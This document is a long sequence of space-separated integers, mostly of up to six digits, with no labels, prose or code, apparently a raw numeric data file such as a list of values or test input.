675832 80205 942074 133215 31638 131355 197858 710170 289668 403901 60405 611183 605701 230084 875718 347280 737345 710740 414842 317786 597314 776893 556049 56911 299908 942911 172820 656747 933763 823538 271217 327494 191094 719484 987558 748235 943245 210378 130350 124170 303615 392988 159482 591133 373884 332386 344988 427191 202791 121585 439267 474673 506240 897404 105836 223731 447466 747766 162724 840067 337551 239535 371331 817635 196740 814116 831400 900307 400161 395470 985885 126028 487249 992447 194046 11558 656995 553833 350165 383090 732195 945735 612732 289542 979414 170037 770757 125268 700714 136905 346048 867587 442715 13866 995795 721220 952611 845731 625055 211572 323096 380708 924697 991672 871057 606104 588455 669458 768429 120555 967427 265336 510787 32586 731255 908424 775838 718843 475679 758304 359383 888509 4489 765401 164115 937642 111664 308295 972452 236784 328974 439918 248062 848614 881913 908127 906860 667217 993607 925384 862681 92146 737458 988753 757359 7104 455344 166857 140043 658678 646809 594605 97444 881646 817074 247062 110091 713861 907551 499760 861445 917958 945384 75537 580790 485712 494300 187505 413598 81693 426976 683655 991390 692593 313074 581264 599332 334106 22381 238958 572120 746202 420956 12233 772006 711742 604620 738768 26234 766531 783558 107713 725872 459024 226501 4899 270972 414035 35979 225465 975558 962629 692290 114387 630179 822992 993739 69527 440613 180368 747122 837214 90691 204503 371272 623069 56754 782008 249825 83917 612260 782278 399417 671979 515214 664436 277341 410083 239850 547804 464095 636153 173366 106200 521316 176875 819271 460125 533812 174565 405339 101419 313186 993479 483752 900534 705255 180529 982301 100225 254705 719368 537180 821710 700340 400229 326982 863150 291012 84288 994086 878125 348931 309013 678221 403905 730382 433697 125706 902938 385932 636532 231915 458096 110333 550632 182088 146903 527979 904169 217756 835616 961861 969053 426378 360567 442467 593679 874594 253377 768601 119378 295795 636941 116063 376496 848804 108426 590630 161847 826839 758330 310264 680913 928569 979067 818380 605610 980187 230597 26665 34981 615195 485015 193226 459007 591581 785374 577978 594999 238634 920053 669046 819954 293122 430713 806366 635407 326687 894318 43876 344795 173322 751808 797980 454806 208844 846175 754117 785076 271430 355446 207146 858998 356285 862984 974203 969659 353382 150440 787759 225767 151287 620064 743932 370396 360761 201892 709366 261251 926896 335123 970771 671202 747811 74772 783274 866496 542151 125557 68720 533844 988778 976747 93378 171006 556557 282359 602920 524531 339255 878251 609044 211436 10585 858975 340596 110309 620309 205271 141983 71672 822980 418332 525529 939198 863047 757532 230213 590194 304018 503149 23086 438530 543854 713466 677821 95735 417597 291176 141655 567668 825837 520579 689132 150996 810429 667952 519416 355088 513465 297558 646041 335099 271305 677001 467151 938070 59109 478945 765712 663833 890396 775309 260655 259925 941849 949097 539230 42154 191609 33750 288909 84138 550457 424784 302670 104108 262478 938338 629545 472608 537087 910026 422671 485041 822367 396617 133331 998546 54262 957672 764957 997463 666850 349789 149977 910800 469737 686290 106660 601368 130740 929401 96103 85027 303215 98386 491498 613770 192508 38085 223392 304360 142230 817240 299391 66928 283193 607887 878672 663017 226443 440339 437752 205157 920093 748705 755452 997872 941069 583397 568358 216600 390634 224414 439204 293045 164623 602867 222079 972616 101872 254654 311113 653536 647893 717939 228068 8613 797029 869018 947613 204479 950337 748984 77199 787394 446229 201877 759358 213209 78614 473681 874544 250889 414303 18127 662325 49853 503207 438496 4595 774379 267994 564273 675002 527364 989737 914439 512136 254044 142935 625635 74674 628167 666455 391095 974372 477023 379045 837935 644912 90757 502172 595601 832958 662046 404448 600500 48404 56791 778072 604237 412620 923228 373851 467462 322581 30169 952179 117424 598845 131508 343988 639472 780161 880995 705341 186303 659771 976786 829804 431057 933034 135735 933585 356526 917529 664804 83123 937450 404891 451639 62202 811485 831274 177508 355042 181164 442583 811052 105678 768261 721960 806823 489003 872089 5723 611994 172781 946134 461452 777204 583732 332486 719709 84209 370942 985309 796417 789409 489953 443313 211682 781354 132236 98619 622333 651879 385569 752623 299737 719530 403437 171636 93882 931728 867619 646151 554353 339220 91741 135606 117392 174396 436206 715743 348801 935621 456024 714739 888971 701455 679245 704570 374154 47382 839602 244762 38802 303324 523616 140383 216345 741356 922242 687895 307456 846812 411516 747456 694315 620450 336060 373618 150222 52816 739293 181225 468835 65944 974243 895361 404491 559579 475844 491326 445835 495992 443404 721536 372714 928143 713934 365220 680344 370296 785240 444400 665355 406615 381758 963894 390471 866978 99720 423711 19203 391087 426877 711039 99364 741936 565036 186669 295818 346227 888298 211937 781923 371679 639514 510593 309930 99396 12556 291077 731327 712840 762731 418514 895534 340495 376634 640731 774278 692938 338800 204870 329199 478534 223852 544038 189215 437689 882372 34932 572135 895631 928318 831522 426359 264133 953858 7972 582124 496963 798818 554572 556987 411642 382363 640588 559937 375870 352391 882458 793435 461407 239191 285539 448633 544473 861589 679077 681270 22838 549164 429819 828897 322529 877943 41144 612651 568047 419425 982707 255050 999935 439572 343133 677599 631725 816566 898773 848570 618687 643697 304851 542878 365355 55740 518880 508263 766428 303058 600388 349692 876719 303094 468214 489190 638705 828786 248686 501342 822412 692115 160020 683483 343989 405045 297099 128184 588911 301143 363072 129313 11855 408687 294494 74564 285235 716300 885916 444388 112785 761107 610403 513400 967498 534450 148491 726990 683299 349421 245388 80605 912315 584312 990022 135389 646693 321930 154923 528007 182006 236451 844023 414055 617551 452223 328804 295557 171957 330735 552292 137402 336333 429964 957578 219544 897457 492368 259208 921835 383303 164017 498404 198620 856095 38466 995953 412911 520510 401343 248451 444443 83529 564764 755419 380053 986683 554723 148078 936202 877601 820643 630448 784466 74685 381153 861276 545889 12464 515534 748705 91074 529186 82012 982149 617532 753148 558844 540788 494005 473466 728316 689638 911528 866254 807891 32493 657788 677866 947705 709183 886449 371805 637892 615050 340314 966713 340321 487038 788993 908875 815575 851452 983131 927512 380769 861746 121237 187499 975985 576142 19357 471796 333174 416416 394502 92936 967070 456995 611395 852184 68860 339309 363067 300564 970957 384211 469537 28354 162489 687185 73235 586102 746157 426278 584324 572497 634583 875778 502845 460880 590288 307101 251570 727315 695783 584305 827217 941275 713097 5814 104538 444577 583760 613692 214782 886756 564288 810828 621824 741934 322999 405398 426513 180806 350734 928569 823145 189148 710738 686478 682344 42311 700347 789169 426550 669444 666738 101782 823496 729905 618825 137414 5812 827701 190232 706217 172869 648380 194960 202920 698096 164366 950210 620828 136691 386445 999542 23212 867984 573 137541 85500 303939 315335 447061 493979 249661 795192 674126 781157 816725 326264 590443 720145 888594 559910 43452 608039 93211 560684 652890 866910 426181 490811 868024 660240 879994 211751 265486 862927 532039 875487 25085 431321 409613 183327 33298 841025 101144 3977 516729 965512 79677 929424 434501 703336 85512 585165 35415 746799 844078 889344 926164 777484 915885 739022 172836 359058 739989 413497 827027 853787 657540 879852 157872 145877 233785 605586 550527 537284 423216 100252 211894 989231 116534 853403 297209 558471 676820 702623 421764 850413 294074 579934 367369 42167 937959 971604 455699 58211 914482 946460 9332 86535 86104 952283 397811 743307 207377 605050 8927 305638 824089 446859 783950 230031 143955 45800 734621 333377 860889 744495 640649 211993 821280 394478 423918 723375 864807 816434 467734 182480 324891 136262 109682 687798 691040 533555 369850 154358 439 799545 796903 73356 479224 802485 585661 799394 551591 130614 489675 981317 452164 169421 562228 350927 629314 547472 738897 691334 646392 931696 835633 485325 482443 882347 984888 444321 659481 304553 469422 39013 158685 448823 390497 794216 125102 955837 715989 700460 177995 688393 301162 167340 185691 944318 850944 44211 679678 85872 908404 558096 641437 717977 999494 400286 17824 410793 345859 692276 277825 655692 720625 98797 535383 530685 839143 204746 104203 361087 397514 395737 173956 613266 462303 370661 975732 439306 489563 633470 296608 168848 742856 118122 262589 285834 651135 4883 646143 160008 393226 93906 946909 7676 209127 309542 516040 623069 248314 952376 910964 291911 433847 989556 579686 379745 480199 739027 707408 598190 848493 340139 709221 323649 39391 121930 153665 994777 905320 953006 844290 487079 483001 197406 949474 322983 330324 770844 876193 6040 820050 154842 341772 308411 701355 498796 492267 921169 704465 532053 63597 581773 175585 226605 951896 485706 914834 930616 588250 973240 716557 575771 332919 487540 757229 466318 934262 423699 939287 501496 265358 555404 337566 83375 944786 944172 694381 883882 152093 440080 514271 537039 987420 837221 762830 37115 352362 410944 832705 322995 678104 886360 492516 531674 141122 543123 837313 191758 177527 806312 3826 793828 658802 83763 269988 115570 672580 154366 985029 969885 772551 248257 565014 111129 618902 813052 399406 920915 536565 18147 979371 971569 510121 613715 771438 112039 69967 724972 821110 45201 939774 802017 761164 460349 846546 320627 823190 502461 910732 11302 378409 512296 480979 244269 231101 735408 509133 841348 156777 380102 250583 694695 999403 52524 422362 128795 474622 107297 871081 1553 612150 662004 911229 544904 225875 51318 833814 536197 698547 876767 390269 413317 953198 958075 652974 698124 319954 572220 854053 83669 493671 114101 594763 715505 627460 736763 755822 459585 827113 576753 941794 596039 885328 215029 8254 114804 778841 295208 608933 835063 192138 381345 168603 732457 439633 50234 717389 416707 170547 451698 814158 529299 812005 524754 880500 742184 808486 955263 119568 341480 262982 793641 842688 510573 183016 953324 548130 217400 13163 52290 601691 411355 877720 40613 707305 687688 133442 44310 131970 762327 959484 370684 746732 650106 793658 855730 867273 312958 739289 446871 552350 345359 683477 81450 518218 637930 329089 295467 248609 26943 40676 451185 113802 2269 246208 249877 121571 27746 730487 167457 284547 893979 731104 946211 169664 673606 613183 407964 641642 938046 549941 420088 423972 981666 875224 154158 575106 329660 757448 775806 161847 20259 927723 157140 477927 224553 844416 28887 103557 412676 516061 843165 251019 496102 111585 693386 438982 431117 183631 830788 102636 64361 2588 783741 375578 153852 236927 375089 962121 415737 453523 549259 94367 150173 246079 19695 874793 870075 284423 228525 239193 436314 21948 405555 364124 857943 860737 13865 306620 440385 22492 645673 330950 894231 573561 445665 853870 573053 409919 98093 782101 954815 238949 170086 901249 572833 729971 700305 202130 882684 42058 505266 926052 96935 931831 336032 994951 918104 304222 192236 459009 9063 322789 33740 136452 761241 312012 914849 602678 211760 444303 689913 558529 673581 257285 838721 268576 520021 465750 492716 879300 858252 661839 597628 36571 147516 955858 536361 688080 693094 166748 647016 344615 118287 609669 980812 237259 916918 889600 379185 862268 45438 706886 851413 216000 587727 485682 848209 135385 693308 663747 168840 734564 643224 465548 654917 987679 692707 410081 357814 741471 972259 319319 789482 475872 579004 514506 519506 163728 682353 724427 870176 156791 900023 376695 590748 501021 252474 128299 798604 588058 929451 599372 173979 876729 446885 850622 374544 452697 163365 76550 376420 835214 949685 997108 463352 907217 986475 423892 208323 259082 240333 6106 28297 73429 72654 388347 634903 131669 219839 188237 870331 849522 798211 329912 492765 717758 885580 74199 870872 992438 792951 605069 912864 579124 403822 64421 758660 710754 189146 217815 373704 492662 771410 352561 133240 106422 81652 453614 688584 492225 888321 633745 155597 64695 505130 123141 758765 203029 508303 588699 241254 682133 764211 651976 742095 265223 206159 13920 436272 573282 670218 198784 275681 421206 343089 535486 218643 361947 60497 130587 624067 263738 599603 778673 294903 343489 719496 203204 358488 305430 172915 180891 35495 815737 845702 256617 661068 143515 348483 599175 253548 187387 565523 836321 330080 65426 296300 780537 327591 800886 325251 989185 548039 676095 261228 684651 218712 261783 865301 692673 170908 531493 229225 208645 840934 313679 533253 458140 880413 379929 552071 745469 505448 397742 68144 534322 655540 102661 436339 507747 432095 877862 278689 531133 561180 163930 458664 28126 906224 632793 134786 272904 208529 29362 253712 980813 161728 598296 643725 281120 738900 474309 830761 871867 436650 535015 889065 708217 633158 500138 410979 160914 507061 134610 499693 807121 759963 640608 694024 364418 255659 516373 154090 116584 543214 654511 189260 743907 238061 216259 292185 924115 760261 235685 842328 962719 984080 988519 674980 263843 841718 700955 26143 273194 998820 693670 867910 375959 737923 824612 270281 229195 863950 806497 479204 8098 932669 450909 791579 805622 429111 278805 117107 817791 132303 196911 384423 922010 74149 82437 730651 117573 40670 916714 110562 97207 682238 124720 845430 523432 999833 437880 568287 277639 399904 821868 708327 854426 663253 164389 825397 529338 701961 852498 148276 290503 720979 523494 856377 735343 948880 941518 454514 411443 907328 971857 648150 202284 202370 50803 176978 30124 495113 96782 444945 837058 734415 249031 335764 169403 395236 580647 544079 842168 23670 355415 810036 302864 987050 215414 956585 353194 906788 731286 593448 234642 750038 642611 287015 123533 420829 571323 163644 360373 346574 305611 730600 170387 508354 270441 499516 434959 713982 779086 58103 706252 832988 811241 20163 634490 472766 441654 692684 398728 785349 194619 259599 685890 677101 520261 306253 969846 778630 531160 904491 233592 97757 843935 149117 471304 866972 529978 895713 903841 139847 173909 743080 759007 54091 2187 868288 928328 879806 531296 333763 118999 2127 36410 318554 781667 33181 383700 142257 343163 81373 933996 139317 929796 244221 515178 241314 963353 123999 139137 176655 425343 181282 846515 583179 315211 64540 951636 213740 592369 66914 573462 943034 702936 64640 640646 171335 565113 953690 813241 75933 342224 877943 639810 738559 519576 286634 126075 368816 963073 282434 663635 868501 907205 499481 776961 482077 591987 394225 265867 541345 463503 40319 355747 338372 482922 658950 738595 695794 283055 675388 611423 25786 855462 875670 68348 218808 444505 95634 132125 111506 344169 768681 219599 728456 386759 261952 398245 782324 140005 104500 695144 77937 785819 14110 98230 547244 208871 555524 403155 284279 495830 865429 613735 251214 478196 137341 612455 949377 83167 868536 786310 399915 911176 760560 331883 1671 454316 458037 540805 761859 697747 28153 605820 578969 251337 668781 906800 950373 994264 409898 710504 560352 609947 250852 822975 806959 495349 659185 263976 217443 534695 550601 46380 623901 31059 94596 16390 225923 492965 182803 779520 624 302487 115007 698591 748641 799030 458414 740821 839298 885106 333533 465361 829227 755365 686612 831868 391568 62666 777048 357406 143109 497897 468700 225032 965039 748824 200058 592738 891688 914043 445739 589239 38326 669579 311853 550887 326511 571298 692840 200745 378589 790420 91413 354686 367635 717436 910915 980072 849746 674559 15401 110369 763632 673641 415114 494713 601544 892824 841721 659610 488532 298102 560580 480809 85580 413757 685586 251724 180904 929184 796235 203547 238605 681960 145949 483346 996595 333516 687807 2860 294080 11182 174379 183140 604273 766306 437745 879006 246610 454194 585911 446392 72676 970763 661240 445717 192954 931913 141008 551851 546496 970889 43844 650413 750656 840983 777859 919496 268274 594695 418895 499218 462520 868906 937747 72293 55175 867657 240911 760249 827190 558177 738083 246664 249438 182275 228491 389315 149276 197811 124783 895529 901612 355740 147463 181140 638892 378067 915562 254872 698807 748606 923621 161553 614264 293783 714865 781229 184058 652878 910581 190374 490108 202602 82997 303636 488288 281427 447193 84385 471446 977681 585166 871087 439767 785196 340020 393506 935503 319694 736234 348753 368615 589897 176680 493050 697336 909819 242666 663300 327332 165996 940417 581154 683689 906926 31399 665407 944357 165811 565795 150661 183932 684807 82384 369935 680411 285307 407762 280589 451241 49773 70295 85401 64478 767231 832290 9546 535218 651628 881475 456874 677146 489557 534256 300422 590687 130140 255687 636816 347173 232619 386512 561641 702202 769901 839762 885823 447692 777623 979058 779940 399577 441303 330582 236135 689546 825530 600493 552670 2788 622109 50589 9889 1111 29329 430372 962422 16197 370086 749794 535059 497876 202948 586828 288404 537344 791830 737418 990098 881155 470391 818587 80991 737794 417090 992570 332392 75146 333399 85144 827326 490107 686637 913335 336146 559857 208004 56586 663889 510472 37669 832735 675140 295843 628806 687067 922563 466972 907751 706407 370256 939621 326495 275790 54476 772962 753418 155062 182158 817686 436461 734875 645848 942166 34924 203712 657347 430627 588117 784986 811547 54467 861329 404531 503735 83787 366575 686384 257164 723498 654840 140223 626719 870713 277662 785468 838923 339969 31608 841536 852242 618313 734625 910893 8624 941267 959931 406511 843210 375253 278902 22911 439520 407488 410395 724298 709409 246028 25690 804392 564522 904333 17244 60843 864067 434127 289371 97023 462534 165757 994190 33949 57633 532844 669823 941168 338811 129388 632042 58516 614435 42881 550317 4365 154377 255397 853529 64699 387482 74319 34917 72427 187063 809045 503926 141201 226706 872111 607881 262221 129863 69131 940843 27222 250735 907985 281277 160117 732441 400567 66688 989596 687064 785428 736941 114747 441757 993477 255472 407896 396226 901735 553202 283003 167966 87359 319170 762529 589546 648925 681749 747025 935399 49213 894902 206725 743877 212912 333110 127764 28968 749669 613720 892270 206810 719334 303575 943559 671347 241689 577385 204805 608654 673973 940788 329673 323111 940662 53726 297320 215157 446234 918746 126494 724254 490902 114956 69057 169787 526160 622973 900167 382141 983291 409653 723719 89340 250867 390829 340243 149303 685872 406003 37832 66110 508023 646122 579673 955804 335222 139524 589940 979268 56169 11633 139007 120972 271989 555099 825444 204761 94548 296739 244705 469547 561844 340908 503129 823135 23879 962508 229437 391403 26802 550691 428721 774638 146666 472199 795412 818595 775836 371244 621499 691540 580777 274206 475717 190248 202818 290419 342851 110128 341755 331665 158235 308562 84061 980052 802202 112831 506688 735335 87880 95623 606186 794459 226610 155785 160945 824954 492415 345703 578166 39320 419150 806258 236914 459481 558151 942534 639588 655204 985787 203576 793644 242719 531836 362422 772821 308627 172581 83350 430273 319847 943353 753908 271161 90702 940512 159924 810517 774639 940426 579712 104424 768893 539782 995483 980995 878004 3415 242534 982741 598487 655159 95778 317646 284606 843592 272984 849572 982203 888374 278988 316425 818854 454511 422037 209766 972980 85708 532977 66826 770928 730500 264851 672996 380228 736187 512628 498166 692734 225019 906851 256137 797264 986746 932555 483373 566373 510268 620161 24648 414182 566465 972929 892247 563299 711599 300363 541099 642712 71407 125222 911151 985724 633225 885764 75342 454671 871931 60446 653654 108039 181499 843872 98130 480894 444707 357400 189680 670253 602057 247298 192606 943929 336418 248622 327387 78463 920668 534357 114412 423310 634629 367809 795035 729467 780639 163513 48752 786315 803921 778933 535373 323887 124789 741496 364129 449232 905103 750763 387199 904003 459237 31624 994296 711471 262540 409100 379641 323226 486752 452722 368444 627804 15431 86397 37131 672147 727947 618591 221431 791684 804403 947522 546508 671990 608573 720943 442352 416221 255581 539337 963532 408720 569305 760064 80299 546500 597567 153233 767530 593906 201173 707657 741184 83484 978387 158186 359692 93599 100096 338487 605853 122930 213242 650734 338022 195888 989846 34309 883365 168494 192497 366991 639292 692790 543288 283541 711775 897608 737915 378972 888812 103617 254087 876977 255106 383799 301672 863484 140964 205628 144898 31569 344772 788474 978217 748530 597941 365038 575983 883508 410723 498610 468576 760519 444810 855820 669830 156920 775173 767283 981589 990871 499554 550668 952975 792403 689381 188996 249937 732183 573354 692083 80447 212423 611405 421271 781205 766953 233446 608563 140722 766569 136268 121831 528429 514881 265414 203004 532103 2567 81639 422018 726504 335614 323008 77496 385488 637793 649283 544898 627217 995804 943487 950622 289737 578290 682071 676748 642023 163001 281693 441189 357705 428660 344680 386479 573852 195306 719708 265404 680079 286761 176335 505646 737099 322666 346658 355297 822824 25830 487597 34468 920406 837572 454366 53596 583233 589821 29571 350233 574892 346986 932968 458935 965366 890244 417264 306325 476942 555334 173090 805018 827780 897672 531986 347493 61272 637491 846819 311584 117090 537084 845886 816580 48439 691397 465761 864694 256996 366749 464686 443841 460751 248809 678556 415353 418391 68490 397891 116957 33932 740865 870547 598272 63537 607770 89295 421887 324923 918511 676446 897772 867814 429519 479075 242514 64063 302778 191911 461878 656031 412730 290775 166506 673535 9417 880254 358894 457776 168785 889541 495417 628269 71807 57454 614869 76998 335055 678732 307131 108073 380721 176272 225542 423822 642760 31978 361408 25339 737618 294505 689547 411472 590773 998834 715850 716212 46107 445957 465950 75837 395354 173695 960114 408836 784367 905414 964036 422416 533713 613335 133778 174972 852436 674220 739474 111469 72398 371434 314636 231920 581283 30470 55118 969877 971884 371300 739741 219836 444978 38501 245588 132807 565268 26420 92597 991695 567742 582480 854660 298176 181167 73984 850364 903749 552434 238661 153056 984803 80967 895325 573968 685199 216299 722569 591523 462529 908281 131645 30055 662543 438519 416577 652569 968321 933779 76896 229487 23980 277177 817339 791978 588779 806737 359624 305690 534429 545629 800178 679121 72182 528416 144327 468210 758577 689605 438670 151241 75189 224316 133654 976621 343580 540599 50080 498513 115732 721782 994729 154422 907877 967870 830137 839007 952144 49879 732314 240002 462832 561377 517212 858963 158296 587650 477160 459640 123129 355234 308015 384072 607119 658841 919022 405552 914077 396336 728925 731277 9792 164779 908509 702259 814187 370580 244102 876556 259701 581511 554442 537946 674464 134546 113903 951677 207462 339104 942741 199210 672255 427107 578258 771120 125734 152085 585746 475239 399248 421279 227170 474056 212409 620236 593996 730637 350707 38141 101242 346493 132327 524136 113623 553141 325617 614041 934672 727636 453301 727143 61429 580582 330252 125381 708312 276445 597259 882072 903342 191866 649018 628960 275272 516149 843185 707683 19218 303650 792086 90967 100153 633085 411921 445956 216297 133063 313180 563241 831415 226655 602687 257296 482386 132247 215037 158869 864945 316464 599475 747697 17 66034 893476 196858 567757 897715 855709 731020 4398 246393 31495 231267 510320 584741 18961 727245 555180 839833 452599 284985 220016 783703 640064 644152 326258 377143 557259 661292 964390 973018 94597 49536 741701 777769 828579 380014 646478 615448 82574 165663 318556 323303 973445 58604 615511 240325 392122 138623 572144 475449 324483 586376 379572 912169 4155 760965 206526 535328 319042 255814 877266 503916 645168 9733 456339 337930 625685 528722 924556 67223 38585 869723 509325 45686 862798 572736 475911 410374 434387 438342 967062 594381 805040 124237 282477 173126 140455 688975 78991 943218 759514 446686 253449 626934 132387 111685 993686 868992 244764 927269 814353 534157 391672 808375 688490 460547 170739 29371 210902 512527 947128 129895 206385 762514 134756 422407 480157 379397 718795 718632 307665 275384 601599 285357 294140 376828 691305 520300 368237 153148 545214 179387 267873 485244 277731 427149 30079 30688 308935 669638 489152 370241 461428 250668 241700 384213 656295 240297 991100 973119 438203 845062 46669 191504 533299 401813 892818 387907 921406 21625 608885 789791 458277 381568 458130 139559 46338 333371 632110 110264 56183 881059 8154 941195 166925 343746 216946 833974 765486 766745 921476 869797 832244 175487 845302 635091 373824 450628 105288 123453 904353 984321 251245 776144 343458 261434 549841 229182 92823 797883 985409 635115 614781 151719 79129 910761 79305 302433 660518 498296 266801 54782 485615 51151 956109 468058 500023 454472 160601 577652 372633 35771 754395 900678 941427 717690 111251 573063 279022 803681 655899 261991 160072 629498 45027 533835 554118 456133 4706 496192 458305 141035 171542 61982 760425 14607 182275 294055 162189 985027 372351 223783 478949 761621 219047 270121 523538 959054 256448 860377 6576 132651 704012 886573 928964 600136 849672 748748 992474 305190 257955 907003 828591 422031 764224 318970 998826 532046 675998 497753 419006 119482 292329 792024 505161 240468 770637 395826 268142 383560 960205 737700 342350 876385 767530 981687 649400 357040 987520 726044 103152 542105 688058 890456 260947 500834 981370 47327 683508 572597 818588 480003 543220 514813 146465 624326 40708 3869 181073 150590 48600 570081 813303 973815 309313 923302 563270 403913 852194 116517 881200 270754 971481 319197 592548 976712 709500 228899 51698 740017 489775 741549 606710 663313 355573 457086 659792 228362 396580 654885 146833 817337 560907 87737 532855 11008 381201 596271 548918 485120 531503 546065 45971 262901 151640 793516 84306 21422 160801 702243 790265 717860 290764 483196 917194 249720 216364 738849 300377 105122 287179 402208 999745 228713 557512 297696 646593 491926 169271 316076 599628 875129 690608 304218 516763 812097 134729 40383 113532 325122 69557 664886 246124 267287 737488 243637 322308 376357 217591 86408 829227 119658 216055 404457 800844 235049 966092 510783 811469 496322 906860 156299 545917 660907 712417 844273 193673 126194 62834 258203 14837 93662 350594 682056 844674 634055 261570 57559 273581 681835 860032 754821 362812 256941 196045 864017 139906 663646 963864 634806 679621 251703 527378 80297 803375 281332 41980 288399 503780 467830 284712 424255 979455 466385 318604 970427 305104 844651 747144 191787 716323 347993 280777 243317 383609 884527 217743 729371 993426 328094 249394 217058 912623 739198 159284 40148 927171 468226 283055 183931 44941 92888 602779 204870 580119 40410 278803 102280 80718 562013 586110 717485 982097 996551 601351 927786 38399 724104 656138 724666 883606 739880 34384 685573 258089 336868 255075 933759 702957 498201 285286 623911 988237 349938 52193 479817 161647 599198 632395 103982 716281 671490 779456 155919 225343 28860 2650 786608 375173 705430 727384 132378 796371 845873 557631 360915 471991 793382 356339 689667 293769 297469 99629 510393 482252 237903 736176 637697 425679 174931 671582 10467 94469 812822 646149 749296 635958 306579 255354 969440 629670 80748 675432 226361 876456 172641 957185 609423 455522 791063 797587 7425 302733 659866 277853 401326 227172 766015 267736 213002 874029 704661 932368 920955 961680 860002 781235 88670 364178 741245 442572 268742 712486 750025 809493 431571 87177 908580 750574 819460 944480 497202 290845 669566 839364 995276 36856 647306 139458 246143 293822 21108 452571 719577 71863 56566 603526 328001 894959 781457 40302 426469 903792 562864 223093 113354 543610 753366 815889 767520 265330 975683 316949 956408 156936 923534 820850 422435 981281 641882 220045 608627 491278 601237 987638 415964 820268 520374 63180 113588 315031 605897 776019 222480 527335 833543 216198 786090 722365 876779 189116 101450 187505 590968 148258 734275 59398 749282 847675 419649 53138 594476 834157 190925 213483 361274 47005 824516 886116 524992 324730 144885 949871 634769 462807 694177 760733 747668 623005 104914 657019 573465 89253 286275 789580 314426 681878 980931 691086 751294 470151 708185 382652 995084 914460 74491 447721 48644 264491 433526 697176 595358 401121 174348 342450 444765 926285 237939 652783 282214 498380 256958 145763 388512 606251 342484 728093 436973 383129 18053 776051 563315 464466 113462 108140 409499 376228 335150 814726 209045 62390 198111 560663 664356 944974 380208 379090 829215 176585 232687 7728 865669 955540 848435 409901 433419 26515 293597 900455 201871 53881 529471 359392 284876 765990 722153 567276 707312 352011 449030 150611 169457 780343 177002 648958 223052 494281 269411 326325 34529 357791 398243 486624 396642 911862 523449 405790 34384 925505 958886 799881 885204 769357 699094 48656 530144 850947 168267 383750 95834 252449 778182 34267 768405 749470 303072 280004 790027 141076 250966 530913 740248 323916 663967 730358 216707 482344 294393 853975 108341 924455 511026 696110 528111 544224 716707 784135 235523 707138 7911 804171 553756 396945 336590 667585 344271 171746 438657 47771 728829 513849 155466 626065 723132 861895 457965 704768 971231 117299 157395 829580 730204 934841 643882 275809 974390 74942 778431 758768 931589 800694 475634 995313 511517 468989 567441 556350 723022 529746 284299 244316 960951 60260 36851 97326 281549 277176 79060 765898 746826 525946 946120 887705 695895 200599 948279 136155 612144 576472 667925 848462 692319 714732 581454 142020 286132 270579 235650 677448 865166 854561 706753 289891 772715 136084 35451 342315 481178 738611 227729 637550 659004 894633 836989 758557 938375 35348 697110 410988 91991 877627 484304 964577 651776 135943 277934 851413 101978 173430 978234 601080 704120 529139 978996 84370 116444 211417 855528 605734 909870 672534 598689 806488 527194 574972 522951 439728 592159 145898 317918 166117 992420 616383 162590 407018 605009 102033 433916 301145 668610 476631 183619 474964 643959 96974 167769 270300 420519 375291 35914 243674 573043 370233 765376 906598 753305 541986 144485 603126 705731 762555 822255 702714 659366 276635 820677 797488 548491 109375 737091 512332 767323 761923 682355 467242 250082 350956 649733 521615 190943 344506 397087 696318 504925 568930 408909 859002 389114 131817 977624 768306 610808 460956 347304 655883 808486 448782 775795 469388 990240 103004 247112 735589 663593 565176 823318 359750 667377 259895 109169 543442 392923 735091 395309 588427 181343 574546 524268 661093 122341 56621 699276 666538 83439 777444 775975 975375 801211 287782 9782 768593 894819 851304 871659 591145 427333 942074 604421 474741 524096 674532 481786 260587 899137 302168 899701 725748 952829 159205 891919 790665 805929 672663 779632 626165 271239 937983 498938 895861 152893 648755 849251 990490 266522 797385 474720 959839 102546 112180 864180 705892 481647 217693 181193 192279 856815 939713 789102 767717 174200 795992 901299 359 653145 127827 433206 926214 721825 891635 482610 404640 52662 762405 863577 882106 4969 914074 907961 147829 769734 783486 342458 688318 890710 121620 379543 729350 810634 148981 960942 188947 728173 843128 621820 934560 202817 198582 962009 114228 22431 560905 713045 948449 186452 840646 812000 297179 929353 614510 573557 156786 967851 476524 847264 98968 24736 275535 226265 450052 259998 146737 52027 857913 951715 101911 268726 518485 964106 568660 442554 888355 211194 492278 32049 408069 375898 81803 693006 823749 671370 340937 789573 85565 419038 723211 882915 176451 44940 773805 535917 540189 252753 678967 431740 572628 593220 178603 561595 49070 93965 954518 659789 941411 42005 59671 352985 870376 728258 459971 589297 270655 291211 326381 52770 872862 17059 115645 931610 655041 991326 522065 855558 343607 871204 98387 128764 671771 757418 881292 570500 357303 65012 771983 627137 958598 337867 380062 73589 944796 198191 996326 242355 625760 880456 335818 133173 851303 829163 168078 809354 185684 392642 933885 807367 603240 440827 631806 154369 204124 311698 297959 70844 872755 269421 665440 839121 800384 530005 917701 185082 656841 872924 64230 305621 105132 412130 983195 232274 30688 674343 595130 754589 726192 990589 138041 897287 349554 837962 483550 634416 770416 624972 950311 85707 990657 117702 197010 310018 870356 744890 602983 264314 696477 619901 284065 269479 13717 900525 545663 217400 976192 787452 525430 908925 849457 750643 501295 44463 283587 623637 169468 859394 952512 192550 233712 267265 601146 827697 76324 200111 749564 416535 249024 201089 196536 287519 209957 607835 955086 483987 156986 902965 43499 577180 489314 470385 503674 495606 581948 746018 649377 308198 873215 528058 14144 761512 261509 965707 388233 891639 243191 449965 560310 683997 429783 803391 687681 886610 763254 754671 259083 125611 337324 552176 690660 796534 599013 302835 745066 644993 798549 663773 742168 569183 421438 639202 692865 675436 766658 706391 855703 929642 397508 351454 594532 243967 492717 615 717671 833874 437336 530475 253561 281507 173198 323144 228508 279159 842929 155487 409454 22298 514308 584044 940504 904721 68084 948053 693220 824232 570511 276865 577196 538922 641856 314194 253202 180943 965836 101546 94568 484579 526935 315420 723075 878250 920544 502321 191270 210818 295017 891733 186808 658870 821233 344696 237145 447623 48679 374102 322392 802824 446505 452993 372630 29759 397228 504100 2741 88562 72765 930072 50975 779006 725515 344071 573265 647930 435601 71426 308852 307584 521563 817807 616417 866640 123240 199832 117123 438513 156652 45064 88107 760092 421859 953943 154524 330874 182473 350379 938262 943318 354034 172908 175429 973190 916881 901817 239602 408626 22104 977650 658411 322638 896344 522765 879496 692456 404887 289579 826330 432032 673854 887110 973704 204281 911905 564624 950693 259664 182604 289459 442808 592674 564871 30185 980462 995218 416772 131326 268222 483484 865002 948178 967606 350048 113837 31530 763642 131383 54130 442125 822037 105024 578917 245214 207221 376242 238109 818148 825196 912963 381403 573801 928927 790904 484642 885522 494699 930889 43169 583540 476448 51445 740119 473569 818522 691508 763467 867445 672317 982914 228402 